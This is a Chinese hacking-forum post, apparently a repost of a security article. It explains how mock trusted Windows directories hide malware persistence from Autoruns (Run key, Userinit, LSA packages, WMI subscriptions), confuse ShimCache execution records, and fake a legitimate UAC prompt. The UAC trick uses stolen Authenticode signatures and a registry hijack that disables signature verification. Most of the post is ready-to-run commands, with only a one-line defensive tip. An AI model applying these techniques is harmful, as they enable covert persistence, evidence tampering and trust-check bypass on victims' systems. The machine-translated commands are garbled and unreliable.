跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

模拟可信目录的利用技巧扩展

精选回复

发布于

0x00 前言

在上篇文章《通过模拟可信目录绕过UAC的利用分析》 对通过模拟可信目录绕过UAC的方法进行了分析,本文将结合自己的经验,继续介绍模拟可信目录的另外三种利用技巧,最后给出防御建议

0x01 简介

本文将要介绍以下内容:

利用模拟可信目录绕过自动运行

利用模拟可信目录欺骗希姆隐藏物

利用模拟可信目录伪造正常的UAC弹框

0x02 利用模拟可信目录绕过Autoruns

绕过原理:

自动运行默认不显示带有微软签名的文件,如果文件包含微软签名,默认不会显示在自动运行面板

在Windows操作系统操作系统系统的启动位置写入模拟可信目录下的文件,由于被识别为正常带有微软签名的文件,默认将不会显示在自动运行面板

经过测试,并不适用于所有的启动位置,具体测试如下:

创建模拟的可信目录,添加测试文件:

md '\\?\c:\windows '

md '\\?\c:\windows \system32 '

复制c:\test\putty.exe '\\?\ c:\ windows \ system32 \ notepad。' exe '

复制c:\test\calc.dll '\\?\c:\windows \system32\atl.dll '

1、注册启动项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

系统启动时启动文件c:\ Windows \ System32 \ notepad。' exe ',添加注册表的命令如下:

REG add hklm \ SOFTWARE \ Microsoft \ Windows \当前版本\ Run/v RunTest/t REG _ SZ/d ' ' c:\ Windows \ system32 \ notepad。exe ' '

注:

'在煤矿管理局下转义后用'表示

自动运行检测注册表项,将其识别为notepad.exe,如下图

2-1.png

但在系统开机时启动的是正常notepad.exe,而不是putty.exe,失败

2、注册启动项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下的Userinit

查询原注册表项:

reg query ' hklm \ SOFTWARE \ Microsoft \ Windows NT \ current version \ Winlogon '/v Userinit

默认键值内容为:C:\ Windows \ system32 \ userinit。exe,

系统启动时启动文件c:\ Windows \ System32 \ notepad。' exe ',添加注册表的命令如下:

REG add ' hklm \ SOFTWARE \ Microsoft \ Windows NT \ current version \ Winlogon '/v Userinit/t REG _ SZ/d ' C:\ Windows \ system32 \ Userinit。' C:\ Windows \ system32 \ notepad。','/f

注:

'在煤矿管理局下转义后用'表示

系统开机时启动putty.exe,自动运行检测注册表项,将其识别为notepad.exe,成功绕过

如下图

2-2.png

注:

自动运行默认不显示带有微软签名的文件,所以不会显示上图中的notepad.exe,上图为了演示专门设置为显示所有启动项

3、LSA Providers

注册启动项HKEY _ LOCAL _ MACHINE \ SYSTEM \ current Control set \ Control \ Lsa下的安全包

添加键值' c:\windows \system32\atl.dll '

自动运行检测注册表项,将其识别为atl.dll,成功绕过

如下图

2-4.png

4、WMI

每隔60秒启动文件c:\ Windows \ System32 \ notepad。' exe ',添加wmi的命令如下:

wmic/NAMESPACE:' \ \ root \ subscription ' PATH _ _ event filter CREATE Name=' bot filter 82 ',EventNameSpace='root\cimv2 ',QueryLanguage='WQL ',Query=' SELECT * FROM _ _ instance modification event WITHIN 60 WHERE target instance is ' Win32 _ PerfFormattedData _ PerfOS _ System ' '

wmic/NAMESPACE:" \ \ root \ subscription "路径CommandLineEventConsumer CREATE Name=' bot consumer 23 ',可执行路径=' C:\ Windows \ System32 \ notepad。' exe ',命令行模板=' C:\ Windows \ System32 \ notepad。' exe '

wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ FilterToConsumerBinding CREATE Filter=" _ _ event Filter " .Name='BotFilter82 ' ',Consumer=' CommandLineEventConsumer .Name='BotConsumer23 ' '

执行后每隔一分钟启动putty.exe,自动运行检测注册表项,将其识别为notepad.exe,成功绕过

如下图

2-3.png

补充:

查看已注册wmi信息的命令如下:

wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ event filter GET _ _ RELPATH/FORMAT:list

wmic/NAMESPACE:" \ \ root \ subscription "路径CommandLineEventConsumer GET _ _ RELPATH/FORMAT:list

wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ FilterToConsumerBinding GET _ _ RELPATH/FORMAT:list

删除已注册wmi的命令如下:

wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ event filter WHERE Name=' bot filter 82 ' DELETE

wmic/NAMESPACE:" \ \ root \ subscription "路径CommandLineEventConsumer WHERE Name=' bot consumer 23 ' DELETE

wmic/NAMESPACE:“\ \ root \ subscription”PATH _ _ FilterToConsumerBinding其中Filter=“_ _ event Filter”。Name='BotFilter82 ' '删除

0x03 利用模拟可信目录欺骗ShimCache

如前一篇文章《渗透技巧——Windows系统文件执行记录的获取与清除》所述:

ShimCache不仅记录exe文件的执行情况,还记录exe文件同一目录下的文件(如果文件没有执行,Executed的属性为no)

ShimCache将仅在系统重新启动后更新(注销当前用户将不会更新)

也就是说,有两种方法可以清除该系统从启动到关机的ShimCache记录:

(1)修改注册表

备份当前注册表:

reg export ' HKLM \系统\当前控制集\控制\会话管理器\AppCompatCache' ShimCache.reg

系统重新启动后,恢复注册表:

reg导入ShimCache.reg

(2)非正常关机

跳过写入注册表的操作,无法记录这个系统从启动到关机的记录。

(3)修改内存

(理论上可行)

在这里,我试图通过模拟可信目录来欺骗ShimCache,这是非常混乱的。

该方法如下:

1. 创建可信目录"c:\windows \system32"

md '\\?\c:\windows '

md '\\?\c:\windows \system32 '

2. 释放文件"c:\windows \system32\calc.exe"

复制c:\test\putty.exe '\\?\ c:\ windows \ system32 \ notepad . exe '

3. 执行

' c:\ windows \ system32 \ notepad . exe '

4. 重启后查看ShimCache

使用工具:https://github.com/mandiant/ShimCacheParser

reg export ' HKLM \系统\当前控制集\控制\会话管理器\AppCompatCache' ShimCache.reg

shimcacheparser . py-o out . CSV-r c:\ test \ shim cache . reg-t

结果很混乱,如下图所示。

3-1.png

0x04 利用模拟可信目录伪造正常的UAC弹框

1、编写需要管理员权限运行的程序

使用Visual Studio

工程设置位置与:

Configure-linker-manifest文件,并选择以管理员权限运行。

还可以修改PE文件资源中的清单。

2、模拟可信目录,释放文件

复制c:\test\testuac.exe '\\?\ c:\ windows \ system32 \ diskpart . exe '

执行:' c:\ windows \ system32 \ diskpart . exe '

弹出UAC提示,显示该路径是正常的diskpart.exe,但是没有签名会提示异常,如下图所示。

4-1.png

注:

执行正常diskpart.exe时,UAC提示如下

4-2.png

要伪造真正的UAC提示符,可以使用PE文件的Authenticode签名来伪造。

参考号:《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》

3、签名伪造

在以下地址使用SigThief:

https://github.com/secretsquirrel/SigThief

参数如下:

SIG thief . py-I C:\ Windows \ System32 \ comment . exe-t C:\ test \ test UAC . exe-o C:\ test \ new . exe

复制c:\test\new.exe '\\?\ c:\ windows \ system32 \ diskpart . exe '/y

4、绕过证书验证

添加注册表的命令如下:

REG ADD ' HKLM \软件\微软\密码术\ OID \ encoding type 0 \ cryptsipdlverifyindirectdata \ { C 689 aab 8-8e 78-11d 0-8c 47-00 C 04 fc 295 ee } '/v ' Dll '/t REG _ SZ/d ' C:\ Windows \ System32 \ ntdll . Dll '/f

REG ADD ' HKLM \软件\微软\密码术\ OID \ encoding type 0 \ cryptsipdlverifyindirectdata \ { c 689 aab 8-8e 78-11d 0-8c 47-00 c 04 fc 295 ee } '/v ' FuncName '/t REG _ SZ/d ' DbgUiContinue '/f

5.最后试验

再次执行:' c:\ windows \ system32 \ diskpart . exe ',UAC提示符和真实的diskpart.exe一样,如下图所示。

4-3.png

0x05 防御建议

对于模拟可信目录的使用,前提是创建了一个假目录,可以选择监控文件夹的短文件名。

如果出现类似于系统目录的短文件名,您可以选择标记它。

查看短文件名的方法:dir /x

如下图

5-1.png

0x06 小结

本文介绍了另外三种模拟可信目录的技术,最后给出了一些防御建议。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。